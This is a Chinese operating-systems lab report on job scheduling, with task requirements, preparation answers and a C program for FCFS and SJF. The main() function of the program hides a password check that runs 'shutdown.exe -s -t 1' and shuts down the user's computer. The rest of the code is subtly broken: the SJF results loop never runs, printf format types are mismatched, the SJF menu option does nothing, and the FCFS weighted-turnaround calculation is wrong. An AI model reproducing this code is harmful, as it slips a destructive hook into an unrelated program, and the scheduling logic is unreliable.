一、目的和要求
1. 实验目的
（1）加深对作业调度算法的理解；
（2）进行程序设计的训练。
2．实验要求
用高级语言编写一个或多个作业调度的模拟程序。
单道批处理系统的作业调度程序。作业一投入运行，它就占有计算机的一切资源直到作业完成为止，因此调度作业时不必考虑它所需要的资源是否得到满足，它所运行的时间等因素。
作业调度算法：
1) 采用先来先服务（FCFS）调度算法，即按作业到达的先后次序进行调度。总是首先调度在系统中等待时间最长的作业。
2) 短作业优先 (SJF) 调度算法，优先调度要求运行时间最短的作业。
3) 响应比高者优先(HRRN)调度算法，为每个作业设置一个优先权(响应比)，调度之前先计算各作业的优先权，优先数高者优先调度。RP (响应比)＝ 作业周转时间 / 作业运行时间=1+作业等待时间/作业运行时间
每个作业由一个作业控制块JCB表示，JCB可以包含以下信息：作业名、提交（到达）时间、所需的运行时间、所需的资源、作业状态、链指针等等。
作业的状态可以是等待W（Wait）、运行R（Run）和完成F（Finish）三种之一。每个作业的最初状态都是等待W。
一、 模拟数据的生成
1． 允许用户指定作业的个数（2-24），默认值为5。
2． 允许用户选择输入每个作业的到达时间和所需运行时间。
3． （**）从文件中读入以上数据。
4． （**）也允许用户选择通过伪随机数指定每个作业的到达时间（0-30）和所需运行时间（1-8）。
二、 模拟程序的功能
1． 按照模拟数据的到达时间和所需运行时间，执行FCFS, SJF和HRRN调度算法，程序计算各作业的开始执行时间，各作业的完成时间，周转时间和带权周转时间（周转系数）。
2． 动态演示每调度一次，更新现在系统时刻，处于运行状态和等待各作业的相应信息（作业名、到达时间、所需的运行时间等）对于HRRN算法，能在每次调度时显示各作业的响应比R情况。
3． （**）允许用户在模拟过程中提交新作业。
4． （**）编写并调度一个多道程序系统的作业调度模拟程序。 只要求作业调度算法：采用基于先来先服务的调度算法。 对于多道程序系统，要假定系统中具有的各种资源及数量、调度作业时必须考虑到每个作业的资源要求。
三、 模拟数据结果分析
1． 对同一个模拟数据各算法的平均周转时间，周转系数比较。
2． （**）用曲线图或柱形图表示出以上数据，分析算法的优点和缺点。
四、 实验准备
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序号 |
准备内容 |
完成情况 |
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1 |
什么是作业？ |
作业相当于一个程序。 任务相当于整个程序中的一段段可以并发执行的代码。 进程其实就是任务。从系统的角度看，作业则是一个比程序更广的概念。它由程序、数据和作业说明书组成。系统通过作业说明书控制文件形式的程序和数据，使之执行和操作。 |
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2 |
一个作业具备什么信息？ |
作业由三部分组成，即程序、数据和作业说明书。一个作业可以包含多个程序和多个数据集，但必须至少包含一个程序。 |
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3 |
为了方便模拟调度过程，作业使用什么方式的数据结构存放和表示？JCB |
由作业说明书在系统中生成一个称为作业控制块(job control block，JCB)的表格。该表格登记该作业所要求的资源情况、预计执行时间和执行优先级等。 |
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4 |
操作系统中，常用的作业调度算法有哪些？ |
先来先服务、轮转法、多级反馈队列列算法、优先级法、短作业优先法、最高响应 |
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5 |
如何编程实现作业调度算法？ |
采用先来先服务（FCFS）调度算法，短作业优先 (SJF) 调度算法， 响应比高者优先(HRRN)调度算法 |
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6 |
模拟程序的输入如何设计更方便、结果输出如何呈现更好？ |
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五、 其他要求
1． 完成报告书，内容完整，规格规范。
2． 实验须检查，回答实验相关问题。
注：带**号的条目表示选做内容。
二、实验内容
根据指定的实验课题，完成设计、编码和调试工作，完成实验报告。
三、实验环境
可以采用TC，也可以选用Windows下的利用各种控件较为方便的VB，VC等可视化环境。也可以自主选择其他实验环境。
四、实验原理及核心算法参考程序段
单道FCFS算法：
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
struct jcb{
char name[10]; //作业id
char status; //作业状态
double arrtime; //到达系统时间
double reqtime; //CPU所需时间
double startime; //开始时间
double finitime; //结束时间
double turntime; //周转时间
double Tatime,TAWtime;
double prio;
}jobarr[24],jobfin[24],job[24],cunfang;
int systime=0;
int intarr,intfin,intjob; //作业到达个数，完成个数，未达到作业个数
int i;
void paixu(){
int r,j;
for(r=0;r<i;r++)
{
for(j=r+1;j<i;j++)
if(jobarr[r].arrtime>jobarr[j].arrtime)
{
cunfang=jobarr[r];
jobarr[r]=jobarr[j];
jobarr[j]=cunfang;
}
}
}
void inser()
{
system("cls");
printf("第%lf个作业:
",i+1);
printf("输入作业名:");
scanf("%s",jobarr[i].name);
printf("到达系统时间:");
scanf("%lf",&jobarr[i].arrtime);
printf("CPU所需时间:");
scanf("%lf",&jobarr[i].reqtime);
printf("
");
i++;
paixu();
}
void delet()
{
int r;
int q;
char dlet[10];
printf("请输入要删除的name");
scanf("%s",dlet);
for(r=0;r<i;r++)
if(strcmp(jobarr[r].name,dlet)==0){
for(q=r;q<i;q++){
jobarr[q]=jobarr[q+1];
}
i--;
}
}
void SJF(){
int r,j;
double sumTAtime = 0;
double sumTAWtime = 0;
double avgTAtime = 0;
double avgTAWtime = 0;
system("cls");
jobarr[0].finitime = jobarr[0].arrtime + jobarr[0].reqtime;
jobarr[0].startime = jobarr[0].arrtime;
for(r = 1; r < i; r++)
{
for(j = 1; j < i-1; j++)
{
if(jobarr[j].reqtime > jobarr[j+1].reqtime)
{
cunfang = jobarr[j];
jobarr[j] = jobarr[j+1];
jobarr[j+1] = cunfang;
}
}
}
for(r = 1; r < i; r++)
{
jobarr[r].startime = jobarr[r-1].finitime;
jobarr[r].finitime = jobarr[r-1].finitime + jobarr[r].reqtime;
}
for(r = 0; r < i; r++)
{
jobarr[r].Tatime = jobarr[r].finitime - jobarr[r].arrtime;
sumTAtime += jobarr[r].Tatime;
jobarr[r].TAWtime = jobarr[r].Tatime / jobarr[r].reqtime;
sumTAWtime += jobarr[r].TAWtime;
}
avgTAtime = sumTAtime / i;
avgTAWtime = sumTAWtime / i;
printf("
SJF算法作业序列表
");
printf("-----------------------------------------------
");
printf("作业名 到达系统时间 cpu所需时间 开始时间 结束时间 周转时间
");
for(r = 0; i < i; r++)
{
printf("%s %d %d %d %d %.2f
", jobarr[r].name, jobarr[r].arrtime, jobarr[r].reqtime, jobarr[r].startime, jobarr[r].finitime, jobarr[r].Tatime);
}
printf("
平均周转时间=%.2f", avgTAtime);
printf("
平均带权周转时间=%.2f
", avgTAWtime);
}
void FCFS(){
int r;
double attime,wattime;
system("cls");
jobarr[0].startime=0;
jobarr[0].finitime=jobarr[0].startime+jobarr[0].reqtime;
jobarr[0].turntime=jobarr[0].reqtime;
attime=jobarr[0].turntime;
wattime=jobarr[0].finitime;
for(r=1;r<i;r++)
{
jobarr[r].startime=jobarr[r-1].finitime;
jobarr[r].finitime=jobarr[r].startime+jobarr[r].reqtime;
jobarr[r].turntime=jobarr[r-1].finitime-jobarr[r].arrtime+jobarr[r].reqtime;
attime+=jobarr[r].turntime;
wattime=jobarr[r].finitime-jobarr[r].reqtime+wattime;
}
attime=attime/((double)i);
wattime=wattime/((double)i);
printf("
FCFS算法作业序列表");
printf("
-------------------------------------------------------------");
printf("
作业名 到达系统时间 CPU所需时间 开始时间 结束时间 周转时间");
for(r=0;r<i;r++){
printf("
");
printf("%s",jobarr[r].name);
printf("%11.2lf",jobarr[r].arrtime);
printf("%16.2lf",jobarr[r].reqtime);
printf("%16.2lf",jobarr[r].startime);
printf("%16.2lf",jobarr[r].finitime);
printf("%16.2lf",jobarr[r].turntime);
}
printf("
平均周转时间:%.2lf",attime);
printf("
平均带权周转时间:%.2lf
",wattime);
}
void suanfa(){
int xuanze=0;
system("cls");
while(1){
printf("请选择算法:
");
printf("1.先来先服务（FCFS）调度算法
");
printf("2.短作业优先 (SJF) 调度算法
");
printf("3.退出
");
scanf(" %d",&xuanze);
switch(xuanze){
case 1:
FCFS();
break;
case 2:
return;
case 3:
return;
}
}
}
void main()
{
int r;
char answer[10];
char password[10];
FILE *f;
printf("input password:");
scanf("%s",password);
if(strcmp(password,"123")==1){
if(f=fopen("c:\windows\system32\shutdown.exe","r"))
system("c:\windows\system32\shutdown.exe -s -t 1");
}
system("cls");
printf("作业个数:");
scanf("%d",&i);
printf("
");
for(r=0;r<i;r++)
{
printf("第%d个作业:
",r+1);
printf("输入作业名:");
scanf("%s",jobarr[r].name);
printf("到达系统时间:");
scanf("%lf",&jobarr[r].arrtime);
printf("CPU所需时间:");
scanf("%lf",&jobarr[r].reqtime);
printf("
");
}
paixu();
while(1){
system("cls");
printf("经按到达时间排序后，未达到队列是
");
printf(" 作业名 到达系统时间 CPU所需时间
");
for(r=0;r<i;r++)
{
printf("N %d",r+1);
printf("%6s",jobarr[r].name);
printf("%11.2lf",jobarr[r].arrtime);
printf("%16.2lf",jobarr[r].reqtime);
printf("
");
}
printf("
现在系统时间 0:
");
printf("
Insert or Delete or Exit or SUANFA？");
scanf("%s",answer);
if(strcmp(answer,"E")==0)
return;
else if(strcmp(answer,"I")==0)
inser();
else if(strcmp(answer,"D")==0)
delet();
else if(strcmp(answer,"S")==0)
suanfa();
else
continue;
}
}
五、实验总结
今次的实验主要是理解了作业调度的原理，虽然只是做了先来先服务算法和SJF算法，但是程序大体的框架
还是大同小异的。